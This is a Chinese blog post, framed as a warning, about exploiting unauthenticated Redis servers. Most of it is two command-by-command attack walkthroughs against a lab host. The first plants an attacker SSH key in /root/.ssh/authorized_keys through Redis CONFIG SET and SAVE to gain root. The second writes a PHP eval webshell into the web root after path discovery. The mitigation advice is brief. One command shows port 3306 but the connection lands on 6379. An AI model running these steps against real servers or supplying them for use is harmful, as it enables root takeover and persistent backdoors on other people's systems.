謹防利用Redis未授權訪問漏洞入侵伺服器

来源:https://www.cnblogs.com/phpphp/archive/2023/11/24/17854732.html
-Advertisement-
Play Games

說明: Redis是一個開源的,由C語言編寫的高性能NoSQL資料庫,因其高性能、可擴展、相容性強,被各大小互聯網公司或個人作為記憶體型存儲組件使用。 但是其中有小部分公司或個人開發者,為了方便調試或忽略了安全風險,沒有設置密碼並直接對外開放了6379埠,那麼這就是一個危險的行為。 漏洞成因: 未對 ...


說明:

Redis是一個開源的,由C語言編寫的高性能NoSQL資料庫,因其高性能、可擴展、相容性強,被各大小互聯網公司或個人作為記憶體型存儲組件使用。
但是其中有小部分公司或個人開發者,為了方便調試或忽略了安全風險,沒有設置密碼並直接對外開放了6379埠,那麼這就是一個危險的行為。

漏洞成因:

未對Redis進行充分的訪問控制,可利用Redis可寫入文件的漏洞實現攻擊。

漏洞影響範圍:

所有對公網開放的Redis埠,未設置密碼或設置弱密碼的Redis服務的主機都存在這個漏洞。

危害:

  1. 利用SSH可獲取伺服器root許可權。
  2. 可在項目中寫入一句話木馬。
  3. 利用redis的任意文件寫入,造成其它危險操作。

解決方案:

  1. 使用防火牆策略關閉Redis埠。
  2. 找到redis配置文件的requirepass項並配置複雜的密碼,畢竟弱口令也是漏洞。

利用方式1(獲取root許可權):

0. 背景:

CentOS7.6,有一臺IP為192.168.1.180且對外開放6379埠的伺服器,Redis Server可遠程被連接。攻擊者首次接觸這台伺服器。

1. nmap掃描

nmap 192.168.1.180 -p 6379
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-24 16:10 CST
Nmap scan report for 192.168.1.180 (192.168.1.180)
Host is up (0.0014s latency).

PORT     STATE SERVICE
6379/tcp open  redis

Nmap done: 1 IP address (1 host up) scanned in 0.11 seconds
#發現開放了Redis服務

2. 嘗試遠程連接

redis-cli -h 192.168.1.180 -p 3306
#遠程連接成功,嘗試使用
192.168.1.180:6379> set abc 123
OK

3. 本地生成SSH密鑰對,將公鑰寫入自定義文件,發送給攻擊目標。

ssh-keygen -t rsa
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /test/ssh.txt
cat /test/ssh.txt | redis-cli -h 192.168.1.180 -p 6379 -x set ssh_key

4. 利用Redis備份功能將數據寫入到目標伺服器的root目錄下

#遠程連接
redis-cli -h 192.168.1.180 -p 6379
#嘗試清空redis
192.168.1.180:6379> flushall
#設置 Redis 資料庫的持久化存儲路徑
192.168.1.180:6379> config set dir /root/.ssh
#設置 Redis 資料庫的持久化存儲文件名
192.168.1.180:6379> config set dbfilename authorized_keys
#保存
192.168.1.180:6379> save

5. 遠程連接目標伺服器,成功入侵併獲取了root許可權

ssh [email protected] -i /root/.ssh/id_rsa
The authenticity of host '192.168.1.180 (192.168.1.180)' can't be established.
ED25519 key fingerprint is SHA256:v7jh2lXha1qeJTqZtHxfFcvdBXxtyMm0z10M3NuvMKM.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.1.180' (ED25519) to the list of known hosts.
Last login: Fri Nov 24 11:12:42 2023 from 192.168.2.183
#驗證用戶
[root@lnmp ~]# whoami
root

利用方式2(web站點寫入一句話木馬):

0. 背景:

CentOS7.6,有一臺IP為192.168.1.180且對外開放6379埠的伺服器,Redis Server可遠程被連接。攻擊者首次接觸這台伺服器,伺服器有LNMP環境。

1. nmap掃描

└─# nmap 192.168.1.180 -p 80,443,6379
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-24 16:52 CST
Nmap scan report for 192.168.1.180 (192.168.1.180)
Host is up (0.0081s latency).

PORT     STATE    SERVICE
80/tcp   open     http
443/tcp  filtered https
6379/tcp open     redis
MAC Address: 00:0C:29:01:E8:DC (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.39 seconds
#發現開放了Redis和http服務

2. 嘗試遠程連接Redis,這一步走不通下麵流程就不用走了

redis-cli -h 192.168.1.180 -p 3306
#遠程連接成功,嘗試使用
192.168.1.180:6379> set abc 123
OK

3. 嘗試獲取Web服務技術棧,發現用的是PHP

curl -I 192.168.1.180
HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Fri, 24 Nov 2023 08:53:22 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/7.4.6

3. 在Kali上安裝dirsearch,找到帶有phpinfo或者報錯的頁面,從而獲取web站點的路徑,dirsearch需要python3環境

#pip配置阿裡雲鏡像
pip config set global.index-url https://mirrors.aliyun.com/pypi/simple/
pip config set install.trusted-host mirrors.aliyun.com
#克隆dirsearch
git clone https://github.com/maurosoria/dirsearch.git
cd dirsearch
#期間會提示安裝一些包,正常安裝就行。執行dirsearch,嘗試路徑爆破後進行手動過濾。
python3 dirsearch.py -u http://192.168.1.180 -e php
#例如在192.168.1.180/err.php下找到了一個攜帶php報錯的地址,手動訪問
Warning: Undefined variable $res in /Host/err.php on line 2
#至此,發現php的站點在/Host下。

4. 將PHP一句話木馬發送給目標的redis伺服器

redis-cli -h 192.168.1.180 -p 6379
192.168.1.180:6379> config set dir /Host
OK
192.168.1.180:6379> config set dbfilename "test.php"
OK
192.168.1.180:6379> set test "\n\n<?php eval($_GET['a']);?>\n\n"
OK
192.168.1.180:6379> save
OK

遠程的文件是這樣的,既包含了其它key的備份,也包含了一句話木馬:

REDIS0009� redis-ver5.0.8� redis-bits�@�ctime™m`e�used-mem��Z �aof-preamble���ssh_keyB7 ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCltv+2wFaA4vixtU7N0Iz4K9J/wO62iWli2emLNHYR8Q32hIsHzGvChgF3dcb1lLqndfCKDOk16FwHfkiChZAtjcruK36xWxrTNP54q5ZXBpuT6T+b8zkAljRLN0KqDPxfuM9IuObgMqNSxRPmdlMqxXp6B5BaMY8+iPJL175eM+0Jes2+U9yN/s5zEmjkYTXFHG96CMR+lHXcN3StXZKs4hZGRsxt2KxQ5TP+lsqVV7AIBAOO5milCOUOcOIZJ+bad5aMt+ESt4Sjnzy9Vln2i31UU2QqO4XiVLaLexm4JFqKpjLqis6C9YyTZYwFl/xam3FvroFrlFdsbaRP3W2c0aJLxtX2yHH/T0cFXQJbI5rA04Z+TS4gJqGeofQ8+dNHQc7lBLbcGuR5cN8g/0VKgh4b7bYsXRG9XFZXL7Kl6r2TBCg7FVIKkWoSALm5Qr0tEy1ytNSUMversoDq2q6/EPsfkUDfFJipoEpv4hCzJXy57dDQBOdGaIMvY6+Zk88= root@ZS abc�{test

5. 驗證一句話木馬文件,成功寫入一句話木馬

#由於PHP只解析從<?php到?>結束的代碼,所以其餘字元不受影響。
#為了防止被WAF攔截,傳參過程也可自定義編碼
http://192.168.1.180/test.php?a=phpinfo();

您的分享是我們最大的動力!

-Advertisement-
Play Games
更多相關文章
  • 函數式(Functional)介面 只包含一個抽象方法的介面,稱為函數式介面。 你可以通過Lambda表達式來創建該介面的對象。(若Lambda表達式拋出一個受檢異常(即:非運行時異常),那麼該異常需要在目標介面的抽象方法上進行聲明 我們可以在一個介面上使用@Functionallnterface註 ...
  • 問題出現的前提 keycloak通過k8s部署,併進行了集群部署,共2個節點 通過功能變數名稱解析後,直接到外網LB,在LB上配置了k8s-ingress的IP,埠是80和443 在keycloak應用的ingress配置中,對功能變數名稱進行了keycloak服務的綁定 問題的描述 有時間無法完成登錄,點登錄後 ...
  • 介紹了Spring的高級註解,包括@Configuration註解替代XML配置文件、@Bean註解創建和註入Bean、@ComponentScan註解進行註解掃描,配置Bean的底層實現原理等 ...
  • java三種類型的加減,LocalDate、Calendar、Date @目錄1.LocalDate類型加減:2.Calendar加減:3.Date類型加減 1.LocalDate類型加減: 以下是LocalDate類進行日期加減: import java.time.LocalDate; impor ...
  • Date類: 1.1、將字元串型時間日期轉化為date類型 String timeString = "2023-11-17 09:27:00"; SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); //創建"簡單時間 ...
  • SCM(Service Control Manager)服務管理器是 Windows 操作系統中的一個關鍵組件,負責管理系統服務的啟動、停止和配置。服務是一種在後臺運行的應用程式,可以在系統啟動時自動啟動,也可以由用戶或其他應用程式手動啟動。本篇文章中,我們將通過使用 Windows 的服務管理器(... ...
  • 這一篇內容可能相對較少,但是迭代器在Java中是有用處的。因此,我想介紹一下Python中迭代器的使用方法。除了寫法簡單之外,Python的迭代器還有一個最大的不同之處,就是無法直接判斷是否還有下一個元素。我們只能通過捕獲異常或使用for迴圈來退出迭代,這點讓我感到十分驚訝。 ...
  • 稀疏矩陣是一種特殊的矩陣,其非零元素數目遠遠少於零元素數目,並且非零元素分佈沒有規律。這種矩陣在實際應用中經常出現,例如在物理學、圖形學和網路通信等領域。 稀疏矩陣其實也可以和一般的矩陣一樣處理,之所以要把它區分開來進行特殊處理,是因為:一方面稀疏矩陣的存儲空間開銷通常比稠密矩陣要小得多,可以節省存 ...
一周排行
    -Advertisement-
    Play Games
  • 移動開發(一):使用.NET MAUI開發第一個安卓APP 對於工作多年的C#程式員來說,近來想嘗試開發一款安卓APP,考慮了很久最終選擇使用.NET MAUI這個微軟官方的框架來嘗試體驗開發安卓APP,畢竟是使用Visual Studio開發工具,使用起來也比較的順手,結合微軟官方的教程進行了安卓 ...
  • 前言 QuestPDF 是一個開源 .NET 庫,用於生成 PDF 文檔。使用了C# Fluent API方式可簡化開發、減少錯誤並提高工作效率。利用它可以輕鬆生成 PDF 報告、發票、導出文件等。 項目介紹 QuestPDF 是一個革命性的開源 .NET 庫,它徹底改變了我們生成 PDF 文檔的方 ...
  • 項目地址 項目後端地址: https://github.com/ZyPLJ/ZYTteeHole 項目前端頁面地址: ZyPLJ/TreeHoleVue (github.com) https://github.com/ZyPLJ/TreeHoleVue 目前項目測試訪問地址: http://tree ...
  • 話不多說,直接開乾 一.下載 1.官方鏈接下載: https://www.microsoft.com/zh-cn/sql-server/sql-server-downloads 2.在下載目錄中找到下麵這個小的安裝包 SQL2022-SSEI-Dev.exe,運行開始下載SQL server; 二. ...
  • 前言 隨著物聯網(IoT)技術的迅猛發展,MQTT(消息隊列遙測傳輸)協議憑藉其輕量級和高效性,已成為眾多物聯網應用的首選通信標準。 MQTTnet 作為一個高性能的 .NET 開源庫,為 .NET 平臺上的 MQTT 客戶端與伺服器開發提供了強大的支持。 本文將全面介紹 MQTTnet 的核心功能 ...
  • Serilog支持多種接收器用於日誌存儲,增強器用於添加屬性,LogContext管理動態屬性,支持多種輸出格式包括純文本、JSON及ExpressionTemplate。還提供了自定義格式化選項,適用於不同需求。 ...
  • 目錄簡介獲取 HTML 文檔解析 HTML 文檔測試參考文章 簡介 動態內容網站使用 JavaScript 腳本動態檢索和渲染數據,爬取信息時需要模擬瀏覽器行為,否則獲取到的源碼基本是空的。 本文使用的爬取步驟如下: 使用 Selenium 獲取渲染後的 HTML 文檔 使用 HtmlAgility ...
  • 1.前言 什麼是熱更新 游戲或者軟體更新時,無需重新下載客戶端進行安裝,而是在應用程式啟動的情況下,在內部進行資源或者代碼更新 Unity目前常用熱更新解決方案 HybridCLR,Xlua,ILRuntime等 Unity目前常用資源管理解決方案 AssetBundles,Addressable, ...
  • 本文章主要是在C# ASP.NET Core Web API框架實現向手機發送驗證碼簡訊功能。這裡我選擇是一個互億無線簡訊驗證碼平臺,其實像阿裡雲,騰訊雲上面也可以。 首先我們先去 互億無線 https://www.ihuyi.com/api/sms.html 去註冊一個賬號 註冊完成賬號後,它會送 ...
  • 通過以下方式可以高效,並保證數據同步的可靠性 1.API設計 使用RESTful設計,確保API端點明確,並使用適當的HTTP方法(如POST用於創建,PUT用於更新)。 設計清晰的請求和響應模型,以確保客戶端能夠理解預期格式。 2.數據驗證 在伺服器端進行嚴格的數據驗證,確保接收到的數據符合預期格 ...